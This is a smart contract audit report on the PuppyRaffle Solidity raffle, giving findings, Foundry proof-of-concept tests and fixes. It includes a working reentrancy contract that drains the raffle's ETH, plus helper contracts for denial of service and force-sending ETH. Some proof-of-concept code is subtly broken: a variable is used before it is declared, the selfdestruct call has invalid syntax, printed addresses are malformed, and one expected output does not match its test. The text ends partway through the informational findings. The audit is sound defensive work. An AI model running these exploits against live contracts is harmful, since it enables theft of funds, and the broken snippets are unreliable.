



Protocol Audit Report

SMART CONTRACT SECURITY ASSESSMENT

AUDITOR

Zakia Buras

TARGET CONTRACT

PuppyRaffle.sol

DATE

August 26, 2026

REPOSITORY : [Cyfrin / 4-puppy-raffle-audit](#)

CONTENTS

Table of Contents

01 Protocol Overview	3	06 Low Severity	22
02 Audit Details	4	L-1 — Floating Solidity Pragma	22
03 Executive Summary	4	L-2 — Fee Withdrawal Without Event	23
04 High Severity	5	L-3 — Magic Numbers	24
H-1 — Reentrancy in <code>refund()</code>	5	L-4 — Zero Address Validation	25
H-2 — <code>totalFees</code> Overflow	8	L-5 — Precision Loss	26
H-3 — Weak Randomness	10	L-6 — Centralization Risk	28
05 Medium Severity	13	07 Informational	30
M-1 — $O(n^2)$ Duplicate Check	13	I-1 — Unused Dead Code	30
M-2 — Invalid Player Index	15	I-2 — Empty Player Arrays	31
M-3 — Winner ETH Transfer DoS	17	I-3 — Insufficient Test Coverage	32
M-4 — Strict Balance Equality	18	08 Gas Optimizations	34
M-5 — Fee Recipient DoS	20	G-1 — Immutable / Constant Variables	34
		G-2 — Repeated Array Length Access	35
		G-3 — External Functions	36
		09 Conclusion	36

Protocol Overview

Protocol Summary

PuppyRaffle is a smart contract raffle protocol where users enter by paying a fee. When the raffle ends, a winner is selected, the prize is distributed, fees are recorded, and a Puppy NFT is minted based on rarity.

The protocol includes owner-controlled fee management and participant refunds.

This audit assessed the contract's security, correctness, gas efficiency, and reliability.

Disclaimer

This audit is for informational purposes only and does not guarantee that the protocol is free from vulnerabilities. The assessment covers the code and configuration available at the time of review.

The audit cannot identify every possible vulnerability. Changes to the code, dependencies, configuration, compiler, or protocol design may introduce additional risks.

Developers remain responsible for addressing findings and validating the security of the deployed system.

Risk Classification

Likelihood	High Impact	Medium Impact	Low Impact
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

We use the [CodeHawks severity matrix](#) to determine the severity of findings.

Audit Details

The findings described in this document correspond to the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/  
└─ PuppyRaffle.sol
```

Roles

- **Owner:** Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- **Player:** Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through refund function.

Executive Summary

The `PuppyRaffle` audit identified several security, correctness, and gas-efficiency issues, including weak randomness, reentrancy, ETH transfer failures, fee-accounting risks, and gas inefficiencies.

High- and medium-severity findings should be addressed before production deployment.

Issues Found

Severity	Number of Issues
High	3
Medium	5
Low	6
Informational	3
Gas	3
Total	20

Findings

High

[H-1] Reentrancy in Allows Repeated Withdrawals.

Likelihood & Impact

Metric	Rating
Impact	High
Likelihood	High
Severity	High

Description

`PuppyRaffle::refund` uses `Address::sendValue` to transfer ETH but does not update the player's state before making the external call, creating a potential reentrancy vulnerability.

```
function refund(uint256 playerId) public {
    ...

    @> payable(msg.sender).sendValue(entranceFee);
    @> players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

Impact

An attacker can exploit the reentrancy vulnerability in `PuppyRaffle::refund` to withdraw the `entranceFee` multiple times for the same player entry. Because `refund()` transfers ETH before setting `players[playerIndex]` to `address(0)`, a malicious contract can re-enter `refund()` through its `receive() / fallback()` function and this can drain ETH from the contract.

Proof of Concept

Three legitimate players first fund the raffle with `3 ETH`. The attacker deploys a `ReentrancyAttack` contract, funds it with `1 ETH`, and enters the raffle once.

When the attacker calls `refund()`, `sendValue()` triggers the attack contract's `receive()` function, which re-enters `refund()` using the same player index. Since `players[playerIndex]` has not yet been set to `address(0)`, each call passes validation and transfers another `entranceFee` until the raffle's balance is drained.

```
function test_reentrancy() public {
    address[] memory players = new address[](3);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;

    puppyRaffle.enterRaffle{value: entranceFee * 3}(players);

    ReentrancyAttack attackerContract = new ReentrancyAttack(puppyRaffle);

    address attackerUser = makeAddr("attackerUser");
    vm.deal(attackerUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    vm.prank(attackerUser);
    attackerContract.attack{value: entranceFee}();

    console2.log("Attack contract balance before:",
        startingAttackContractBalance / 1 ether, "ETH");
    console2.log("PuppyRaffle balance before:",
        startingPuppyRaffleBalance / 1 ether, "ETH");
    console2.log("Attack contract balance after:",
        address(attackerContract).balance / 1 ether, "ETH");
    console2.log("PuppyRaffle balance after:",
        address(puppyRaffle).balance / 1 ether, "ETH");
}
```

The malicious contract used to perform the reentrancy is:

```

contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(attacker);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {
        _stealMoney();
    }

    fallback() external payable {
        _stealMoney();
    }
}

```

The expected result is :

```

Attack contract balance before: 0 ETH
PuppyRaffle balance before: 3 ETH

Attack contract balance after: 4 ETH
PuppyRaffle balance after: 0 ETH

```

Recommended Mitigation

1. Follow the **Checks-Effects-Interactions (CEI)** pattern by updating the player's state before transferring ETH. This means moving the state update before the `sendValue()` call.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active");
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

1. Add OpenZeppelin's `ReentrancyGuard` and protect `refund()` with the `nonReentrant` modifier to prevent reentrant calls.

```
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract PuppyRaffle is Ownable { ... }
+ contract PuppyRaffle is Ownable, ReentrancyGuard { ... }
```

Then protect the vulnerable function:

```
- function refund(uint256 playerIndex) public { ... }
+ function refund(uint256 playerIndex) public nonReentrant { ... }
```

These mitigations can be implemented independently. Using both together provides stronger defense in depth against reentrancy attacks.

[H-2] `PuppyRaffle::selectWinner` Can Overflow `totalFees`, which causes the contract to underreport accumulated fees.

Likelihood & Impact

Metric	Rating
Impact	High
Likelihood	MEDIUM
Severity	High

Description

`PuppyRaffle::selectWinner` updates `totalFees` using:


```
totalFees = totalFees + uint64(fee);
```

Because `totalFees` is a `uint64`, its maximum value is `type(uint64).max`. When the accumulated fees exceed this limit, the value wraps around to a smaller value instead of representing the actual fees collected. This causes the contract to incorrectly track the total fees collected.

Impact

An overflow of `totalFees` can cause the contract to underreport accumulated fees. As a result, the contract may track an incorrect fee balance and prevent the accumulated fees from being withdrawn as expected.

Proof of Concept

The following test demonstrates that completing another raffle and collecting additional fees can cause `totalFees` to overflow and become smaller than its previous value:

```
function test_Overflow() public {
    testSelectWinner();
    uint64 startTotalFees = puppyRaffle.totalFees();
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint64 endingTotalFees = puppyRaffle.totalFees();
    console2.log("start Total Fees > ending total fees ? ", uint256(startTotalFees) > uint256(endingTotalFees));
    assert(endingTotalFees < startTotalFees);
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

Expected Result:

```
start Total Fees > ending total fees ? true
```

Recommended Mitigation

1. Use `uint256` for `totalFees` to avoid the unnecessary `uint64` limitation, Then remove the narrowing conversion:

```
- uint64 totalFees;  
+ uint256 totalFees;  
- totalFees = totalFees + uint64(fee);  
+ totalFees += fee;
```

1. Upgrade the contract to Solidity `0.8.x` or later. Solidity 0.8+ uses checked arithmetic by default and reverts when an arithmetic operation exceeds the maximum value of its integer type instead of silently wrapping around.

[H-3] Weak Randomness in `PuppyRaffle::selectWinner` Allows Winner Prediction.

Likelihood & Impact

Metric	Rating
Impact	High
Likelihood	High
Severity	High

Description

`PuppyRaffle::selectWinner` derives the winner index from publicly observable and predictable values:

```
uint256 winnerIndex =  
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) %  
    players.length;
```

These values are known or predictable when `selectWinner()` is called. Hashing predictable inputs does not provide secure randomness, as anyone who knows the inputs can reproduce the same hash and calculate the resulting winner index.

Impact

A malicious participant who can determine or control the caller of `selectWinner()` can calculate the expected winner before the raffle is finalized. This undermines the fairness of the raffle and may allow an attacker to determine whether they will win before the winner is selected.

Proof of Concept

The following test reproduces the exact randomness calculation used by `selectWinner()` before calling the function. The predicted winner is then compared with the winner selected by the contract.

```
function testPredictWinner() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    uint256 predictedWinnerIndex =
        uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) %
4;

    address predictedWinner = puppyRaffle.players(predictedWinnerIndex);
    console2.log("Predicted winner index:", predictedWinnerIndex);
    console2.log("Predicted winner:", predictedWinner);
    puppyRaffle.selectWinner();
    address actualWinner = puppyRaffle.previousWinner();
    console2.log("Actual winner:", actualWinner);
    assertEq(actualWinner, predictedWinner);
}
```

Expected Result:

```
Predicted winner index: 3
Predicted winner: 0x0000000000000000000000000000000000000000000000000000000000000004
Actual winner: 0x0000000000000000000000000000000000000000000000000000000000000004
```

Recommended Mitigation

1. Use Chainlink VRF:

Use the **Chainlink VRF** ([@chainlink/contracts](#)) library to generate a verifiable random number, the source code available in the [official Chainlink Contracts repository](#).

The raffle should request randomness from **Chainlink VRF** when the raffle ends. Once Chainlink VRF returns the verified random value, the VRF callback can use it to select the winner:

```

import "@chainlink/contracts/src/v0.8/vrf/VRFCConsumerBaseV2.sol";

contract PuppyRaffle is VRFCConsumerBaseV2 {
    ...
    function fulfillRandomWords(
        uint256 requestId,
        uint256[] memory randomWords
    ) internal override {
        uint256 winnerIndex = randomWords[0] % players.length;
        previousWinner = players[winnerIndex];
    }
}

```

1. Use a Commit-Reveal Scheme:

Implement a commit-reveal scheme where participants first submit a hash of a secret value during the commit phase and reveal the secret after the commit phase ends. The revealed values can then be combined to generate the final randomness, preventing participants from predicting the winner before the reveal phase.

During the commit phase:

```

bytes32 commitment = keccak256(abi.encodePacked(secret));

```

After the reveal phase, the revealed secrets can be combined to generate the final randomness:

```

randomSeed = uint256(keccak256(abi.encodePacked(randomSeed, secret)));
uint256 winnerIndex = randomSeed % players.length;
previousWinner = players[winnerIndex];

```

Medium

[M-1] `PuppyRaffle::enterRaffle` Performs an $O(n^2)$ Duplicate Check, Causing Gas Costs to Increase as the Player List Grows.

Likelihood & Impact

Metric	Rating
Impact	MEDIUM
Likelihood	MEDIUM
Severity	MEDIUM

Description

`PuppyRaffle::enterRaffle` performs a nested-loop duplicate check on the `players` array before adding the new players to the raffle.

```
for (uint256 i = 0; i < players.length - 1; i++) {
  @> for (uint256 j = i + 1; j < players.length; j++) {
    require(players[i] != players[j], "PuppyRaffle: Duplicate player");
  }
}
```

The duplicate check performs $O(n^2)$ comparisons for a batch of `n` players. The function also iterates over the existing `players` array to calculate the new starting index.

As the array grows, `enterRaffle` becomes increasingly expensive, an attacker can exploit this by adding large batches of players, potentially pushing subsequent calls beyond the block gas limit and causing a **DoS**.

Impact

An attacker can grow the `players` array until legitimate `enterRaffle` calls consume excessive gas or exceed the block gas limit, causing a **DoS**. Gas usage increases as the `players` array grows, making each subsequent call more expensive.

Proof of Concept

The following test compares the gas usage of adding two groups of 100 players. The second group is added after the first, demonstrating the increased gas cost as the `players` array grows.

```

function test_simulationOfDosAttack() public {
    uint256 numPlayers = 100;
    address[] memory playersOne = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        playersOne[i] = address(i);
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(playersOne);
    uint256 gasEnd = gasleft();
    uint256 gasUsed = gasStart - gasEnd;
    console.log("First group gas used:", gasUsed);
    address[] memory playersTwo = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        playersTwo[i] = address(i + numPlayers);
    }
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(playersTwo);
    uint256 gasEndSecond = gasleft();
    uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
    console.log("Second group gas used:", gasUsedSecond);
    assertGt(gasUsedSecond, gasUsed);
}

```

Run the test with:

```
forge test --mt test_simulationOfDosAttack -vvvv
```

Example Result:

```
[PASS] test_simulationOfDosAttack() (gas: 25532799)
```

With `numPlayers = 1000`, The test may eventually fail with:

```
[OutOfGas] EvmError: OutOfGas
```

Recommended Mitigation

Consider the following approach:

1. Allow duplicate participants if the protocol does not require one entry per user. The current check only prevents the same address from entering multiple times, while different wallets can still be used.
2. Use a mapping for O(1) duplicate detection if duplicate addresses must be prevented.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId;
```

Replace the nested-loop check with:

```
```diff
- for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
+ for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");

+ addressToRaffleId[newPlayers[i]] = raffleId;
+ }
```

Increment `raffleId` when a raffle ends:

```
function selectWinner() external {
+ raffleId++;
}
```

1. Consider using OpenZeppelin's `EnumerableSet` :

OpenZeppelin Contracts documentation provides `EnumerableSet` , which can be used to maintain a collection with efficient membership checks.

## [M-2] `PuppyRaffle::getActivePlayerIndex` Returns Index 0 for Nonexistent Players.

### Likelihood & Impact

Metric	Rating
Impact	MEDIUM
Likelihood	MEDIUM
Severity	MEDIUM

### Description

`PuppyRaffle::getActivePlayerIndex` returns the index of a player's active entry. However, if the player is not found, the function returns `0` , which is also a valid index for the first player.

```

function getActivePlayerIndex(address player) external view returns (uint256) {
 for (uint256 i = 0; i < players.length; i++) {
 if (players[i] == player) {
 return i;
 }
 }
 @> return 0;
}

```

## Impact

Returning `0` for a non-existent player can cause callers to mistakenly treat the first player's index as the requested player's index. This may lead to incorrect behavior if the returned value is used without first verifying that the player exists.

## Proof of Concept

The following test demonstrates that `getActivePlayerIndex()` returns `0` both when a player is actually at index `0` and when the player is not found.

```

function test_vulnerabilityGetActivePlayer() public {
 address[] memory players = new address[](1);
 players[0] = playerOne;
 puppyRaffle.enterRaffle{value: entranceFee}(players);
 uint256 index = puppyRaffle.getActivePlayerIndex(players[0]);
 assertEq(puppyRaffle.getActivePlayerIndex(players[0]), 0);
 assertEq(puppyRaffle.getActivePlayerIndex(nonExistentPlayer), 0);
 address nonExistentPlayer = address(0x123);
 index = puppyRaffle.getActivePlayerIndex(nonExistentPlayer);
 if (index == 0) {
 console2.log("Nonexistent player incorrectly returned index 0");
 } else {
 console2.log("Nonexistent player returned index:", index);
 }
}

```

## Expected Result:

```

Player at index `0` is not active
Non-existent player incorrectly returned index `0`

```

## Recommended Mitigation

Return a sentinel value that cannot be confused with a valid player index. Since valid indices range from 0 to `players.length - 1`, returning `players.length` clearly indicates that the player was not found.



```

function getActivePlayerIndex(address player) external view returns (uint256) {
 for (uint256 i = 0; i < players.length; i++) {
 if (players[i] == player) {
 return i;
 }
 }
 - return 0;
 + return players.length;
}

```

## [M-3] `PuppyRaffle::selectWinner` Can Revert When the Winner Cannot Receive ETH.

### Likelihood & Impact

Metric	Rating
Impact	MEDIUM
Likelihood	LOW
Severity	MEDIUM

### Description

`PuppyRaffle::selectWinner`` sends the prize pool directly to the selected winner using a low-level call:

```
(bool success,) = winner.call{value: prizePool}("");
```

If the selected winner is a contract that does not implement a payable `receive()` or `fallback()` function, the ETH transfer will fail. This is possible because contracts can participate in the raffle and can therefore become the selected winner.

### Impact

A participant can enter using a contract that rejects ETH. If that contract is selected as the winner, `selectWinner()` reverts because the prize transfer fails.

This can result in a **denial-of-service (DoS)** condition where the raffle cannot successfully finalize while the malicious participant remains eligible to win.

### Proof of Concept

A malicious contract that rejects ETH can be used as a raffle participant:

```

contract MaliciousWinner {
 PuppyRaffle puppyRaffle;
 constructor(address _puppyRaffle) {
 puppyRaffle = PuppyRaffle(_puppyRaffle);
 }
 function enter() external payable {
 address[] memory players = new address[](1);
 players[0] = address(this);

 puppyRaffle.enterRaffle{value: msg.value}(players);
 }
 // No payable receive() or fallback() function.
}

```

## Recommended Mitigation

Use a withdrawal pattern and credit the prize to the winner instead of sending the ETH immediately:

```

mapping(address => uint256) public pendingPrizes;
pendingPrizes[winner] += prizePool;

```

The winner can then **withdraw** the prize separately (Pull Over Push):

```

function withdrawPrize() external {
 uint256 amount = pendingPrizes[msg.sender];
 require(amount > 0, "No prize available");
 pendingPrizes[msg.sender] = 0;
 (bool success,) = msg.sender.call{value: amount}("");
 require(success, "Prize transfer failed");
}

```

## [M-4] Dangerous strict equality check on contract balance.

### Likelihood & Impact

Metric	Rating
Impact	MEDIUM
Likelihood	LOW-MEDIUM
Severity	MEDIUM

## Description

`PuppyRaffle.withdrawFees` uses a strict equality check between the contract's ETH balance and the internally tracked `totalFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

The contract assumes `address(this).balance` must exactly equal `totalFees`. However, ETH can be force-sent to the contract without updating `totalFees`, causing the balance to exceed `totalFees`.

As a result, `withdrawFees()` may revert even when no players are active and the fees are available.

## Impact

Unexpected ETH can make `address(this).balance` exceed `totalFees`, causing the equality check to fail and `withdrawFees()` to revert, potentially blocking fee withdrawals.

## Proof of Concept

An attacker can force ETH into the contract without updating `totalFees`. After the forced transfer, the contract balance is greater than the tracked fees:

```
function testForcedEtherBreaksBalanceCheck() public playersEntered {
 vm.warp(block.timestamp + duration + 1);
 vm.roll(block.number + 1);
 puppyRaffle.selectWinner();
 uint256 totalFees = puppyRaffle.totalFees();
 uint256 balanceBefore = address(puppyRaffle).balance;
 ForceSend forceSend = new ForceSend{value: 1 ether}();
 forceSend.destroy payable(address(puppyRaffle));
 uint256 balanceAfter = address(puppyRaffle).balance;
 assertEq(balanceAfter, balanceBefore + 1 ether);
 assertGt(balanceAfter, totalFees);
 vm.expectRevert("PuppyRaffle: There are currently players active!");
 puppyRaffle.withdrawFees();
}

contract ForceSend {
 constructor() payable {}
 function destroy(address payable recipient) external {
 selfdestruct(recipient);
 }
}
```

## Recommended Mitigation

Avoid using the contract's ETH balance to determine whether players are active. Instead, explicitly check the `players` array:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
```

## [M-5] `PuppyRaffle::withdrawFees` Can Be DoSed by a Rejecting Fee Recipient.

### Likelihood & Impact

Metric	Rating
Impact	HIGH
Likelihood	LOW
Severity	MEDIUM

### Description

`PuppyRaffle::withdrawFees` sends all accumulated fees to `feeAddress` using a low-level call:

```
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
```

If `feeAddress` is a contract that rejects ETH through its `receive()` or `fallback()` function, the transfer fails and `withdrawFees()` reverts.

### Impact

If `feeAddress` cannot receive ETH, every withdrawal attempt will fail, preventing the accumulated fees from being withdrawn until the fee recipient is changed.

### Proof of Concept

A contract can intentionally reject ETH:

```
contract RejectEther {
 receive() external payable {
 revert("ETH rejected");
 }

 fallback() external payable {
 revert("ETH rejected");
 }
}
```

If `feeAddress` is set to `RejectEther`, the following transfer fails:

```
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
```

As a result, `withdrawFees()` reverts and the accumulated fees cannot be withdrawn until `feeAddress` is changed.

## Recommended Mitigation

Ensure the owner can update `feeAddress` to a functioning recipient if the current recipient rejects ETH.

Additionally:

- validate that the new address is not `address(0)`;
- emit an event when `feeAddress` changes;
- consider using a pull-based withdrawal mechanism if stronger fault isolation is required.

Validate the fee address in the constructor:

```
require(_feeAddress != address(0), "PuppyRaffle: Invalid fee address");
feeAddress = _feeAddress;
```

Also validate it when updating the fee address:

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
+ require(newFeeAddress != address(0), "PuppyRaffle: Invalid fee address");
 feeAddress = newFeeAddress;
}
```

# Low

## [L-1] Floating Solidity Pragma.

### Likelihood & Impact

Metric	Rating
Impact	LOW
Likelihood	LOW
Severity	LOW

### Description

The contract uses a floating Solidity pragma:

```
Found in src/PuppyRaffle.sol Line: 2
pragma solidity ^0.7.6;
```

The `^` allows different compiler versions, reducing build reproducibility. Using the outdated Solidity `0.7.6` compiler also misses newer security fixes and compiler improvements.

### Recommended Mitigation

1. Pin the contract to the exact Solidity version used during development and testing:

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

1. Upgrade the contract to a recent Solidity `0.8.x` version after verifying compatibility with the existing code and dependencies:

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.x;
```

## [L-2] Fee Withdrawal Without Event.

### Likelihood & Impact

Metric	Rating
Impact	LOW
Likelihood	High
Severity	LOW

### Description

`PuppyRaffle::withdrawFees` transfers the accumulated protocol fees to the configured `feeAddress`, but the function does not emit an event after the transfer.

#### 1 Found Instance

- Found in `src/PuppyRaffle.sol` Line: 183

```
function withdrawFees() external { ... }
</details>
```

Without an event, off-chain applications and blockchain indexers cannot easily track when fees are withdrawn, how much was withdrawn, or which address received the funds.

### Impact

The lack of an event reduces transparency and makes it more difficult for off-chain systems to monitor and account for protocol fee withdrawals.

### Recommended Mitigation

Define a `FeesWithdrawn` event and emit it after a successful fee transfer.

```
+ event FeesWithdrawn(address indexed recipient, uint256 amount);
```

Then emit the event in `withdrawFees()`:

```
function withdrawFees() external {

+ emit FeesWithdrawn(feeAddress, amount);
}
```

## [L-3] Magic Numbers Should Be Replaced With Named Constants.

### Likelihood & Impact

Metric	Rating
Impact	LOW
Likelihood	LOW
Severity	LOW

### Description

The contract uses unnamed numeric literals for protocol parameters, making their purpose harder to understand and maintain.

2 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 153

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

### Impact

Using magic numbers reduces code readability and maintainability, defining named constants makes the protocol's parameters explicit and reduces the risk of accidentally modifying one occurrence while leaving another unchanged.

### Recommended Mitigation

Define descriptive constant variables for the protocol parameters and use them throughout the contract:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant PERCENTAGE_PRECISION = 100;
```

Then replace the literal values with the corresponding constants:

```
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / PERCENTAGE_PRECISION;

+ uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PERCENTAGE_PRECISION;
```



## [L-4] feeAddress Can Be Set to the Zero Address.

### Likelihood & Impact

Metric	Rating
Impact	MEDIUM
Likelihood	LOW
Severity	LOW

### Description

`PuppyRaffle::feeAddress` is assigned without checking whether the provided address is `address(0)`. The zero address is generally not a valid recipient for protocol fees because ETH sent to `address(0)` cannot be recovered.

#### 2 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 70

```
feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 199

```
feeAddress = newFeeAddress;
```

### Impact

If `feeAddress` is accidentally set to `address(0)`, subsequent fee withdrawals may send ETH to the zero address, causing the collected fees to be permanently inaccessible. This can also occur if the owner accidentally provides `address(0)` when updating the fee address.

### Proof of Concept

The following demonstrates that the fee address can be set to the zero address if no validation is performed:

```
function testFeeAddressCanBeZeroAddress() public {
 puppyRaffle.changeFeeAddress(address(0));
 assertEq(puppyRaffle.feeAddress(), address(0));
}
```

### Recommended Mitigation

Validate the address before assigning it and revert if it is the zero address.

For the constructor:

```
constructor(uint256 _raffleDuration, uint256 _entranceFee, address _feeAddress) {
+ require(_feeAddress != address(0), "Invalid fee address");
 feeAddress = _feeAddress;
}
```

For the fee address update function:

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
+ require(newFeeAddress != address(0), "Invalid fee address");
 feeAddress = newFeeAddress;
}
```

## [L-5] Precision Loss From Integer Division in `PuppyRaffle::selectWinner`.

### Likelihood & Impact

Metric	Rating
Impact	LOW
Likelihood	High
Severity	LOW

### Description

`PuppyRaffle::selectWinner` calculates the prize pool and protocol fee using integer division:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Solidity performs integer division, meaning that any fractional remainder resulting from the division is truncated rather than preserved. As a result, for certain values of `totalAmountCollected`, the sum of `prizePool` and fee can be smaller than the original amount collected.

### Impact

Integer division can leave a small ETH remainder undistributed. These remainders can accumulate across raffles and remain unaccounted for in the contract.

## Proof of Concept

The following test demonstrates that the calculated prize pool and fee can be smaller than the total amount collected:

```
function testPrecisionLoss() public {
 uint256 totalAmountCollected = 101;
 uint256 prizePool = (totalAmountCollected * 80) / 100;
 uint256 fee = (totalAmountCollected * 20) / 100;

 uint256 remainder = totalAmountCollected - prizePool - fee;

 console2.log("Total collected:", totalAmountCollected);
 console2.log("Prize pool:", prizePool);
 console2.log("Fee:", fee);
 console2.log("Remainder:", remainder);
 assertEq(prizePool, 80);
 assertEq(fee, 20);
 assertEq(remainder, 1);
 assertLt(prizePool + fee, totalAmountCollected);
}
```

### Expected Result:

```
Total collected: 101
Prize pool: 80
Fee: 20
Remainder: 1
```

The remaining 1 unit is not included in either `prizePool` or `fee`.

## Recommended Mitigation

Calculate the protocol fee using the intended percentage and assign the remaining balance to the prize pool. This ensures that integer-division rounding does not leave a portion of the collected ETH unaccounted for.

```
- uint256 prizePool = (totalAmountCollected * 80) / 100;
 uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 prizePool = totalAmountCollected - fee;
```

## [L-6] Centralization Risk From Owner-Controlled Fee Recipient.

### Likelihood & Impact

Metric	Rating
Impact	MEDIUM
Likelihood	LOW
Severity	LOW

### Description

`PuppyRaffle` inherits from OpenZeppelin's `Ownable`, giving the contract owner privileged administrative permissions.

One of the owner's privileged functions is `PuppyRaffle::changeFeeAddress`, which allows the owner to change the address that receives protocol fees:

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
 feeAddress = newFeeAddress;
}
```

Because `withdrawFees()` transfers the accumulated fees directly to `feeAddress`, the owner has control over the destination of future protocol fee withdrawals.

If the owner's private key is compromised or the owner acts maliciously, the fee recipient can be changed to an attacker-controlled address, allowing future protocol fees to be redirected.

### Impact

A compromised or malicious owner can redirect protocol fees to an arbitrary address by changing `feeAddress`.

This introduces a centralization and trust assumption because users must trust the owner to manage the fee recipient honestly and keep the owner's private key secure.

### Proof of Concept

The owner can change the fee recipient to an arbitrary address:

```
function testOwnerCanChangeFeeAddress() public {
 address maliciousFeeAddress = address(0x1234);
 vm.prank(puppyRaffle.owner());
 puppyRaffle.changeFeeAddress(maliciousFeeAddress);
 assertEq(puppyRaffle.feeAddress(), maliciousFeeAddress);
}
```

After this change, subsequent calls to `withdrawFees()` will transfer the accumulated protocol fees to the newly configured address.

## Recommended Mitigation

Consider reducing reliance on a single owner by using an `OpenZeppelin-compatible` multisignature wallet or decentralized governance for privileged operations. A timelock can also be added to sensitive changes such as updating the fee recipient.

Validate the new fee address and emit an event when it changes:

```
+ event FeeAddressChanged(address indexed oldFeeAddress, address indexed newFeeAddress);

function changeFeeAddress(address newFeeAddress) external onlyOwner {
+ require(newFeeAddress != address(0), "PuppyRaffle: Invalid fee address");
 address oldFeeAddress = feeAddress;
 feeAddress = newFeeAddress;
+ emit FeeAddressChanged(oldFeeAddress, newFeeAddress);
}
```

# Informational

---

## [I-1] `PuppyRaffle::_isActivePlayer` Is Unused.

### Likelihood & Impact

Metric	Rating
Impact	NONE
Likelihood	High
Severity	INFORMATIONAL

### Description

`PuppyRaffle::_isActivePlayer` is defined as an internal function but is not called anywhere in the contract. As a result, the function is dead code and provides no functionality to the protocol. The unused function adds unnecessary code and can increase code complexity and maintenance overhead.

```
function _isActivePlayer() internal view returns (bool) {
 for (uint256 i = 0; i < players.length; i++) {
 if (players[i] == msg.sender) {
 return true;
 }
 }
 return false;
}
```

### Recommended Mitigation

Remove the unused `_isActivePlayer` function if it is not required by the protocol. Alternatively, if the function is intended to be used, integrate it into the appropriate contract logic.

---

## [I-2] `PuppyRaffle::enterRaffle` allows empty player arrays.

### Likelihood & Impact

Metric	Rating
Impact	NONE
Likelihood	HIGH
Severity	INFORMATIONAL

### Description

`PuppyRaffle::enterRaffle` does not validate that `newPlayers` contains at least one player before processing the entry. The function only verifies that the ETH sent by the caller matches the entrance fee multiplied by the number of players:

```
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
```

When `newPlayers.length` is zero, the required payment also becomes zero:

```
entranceFee * 0 == 0
```

Therefore, a caller can successfully execute `enterRaffle()` with an empty array and send zero ETH:

```
address[] memory players = new address[](0);
puppyRaffle.enterRaffle{value: 0}(players);
```

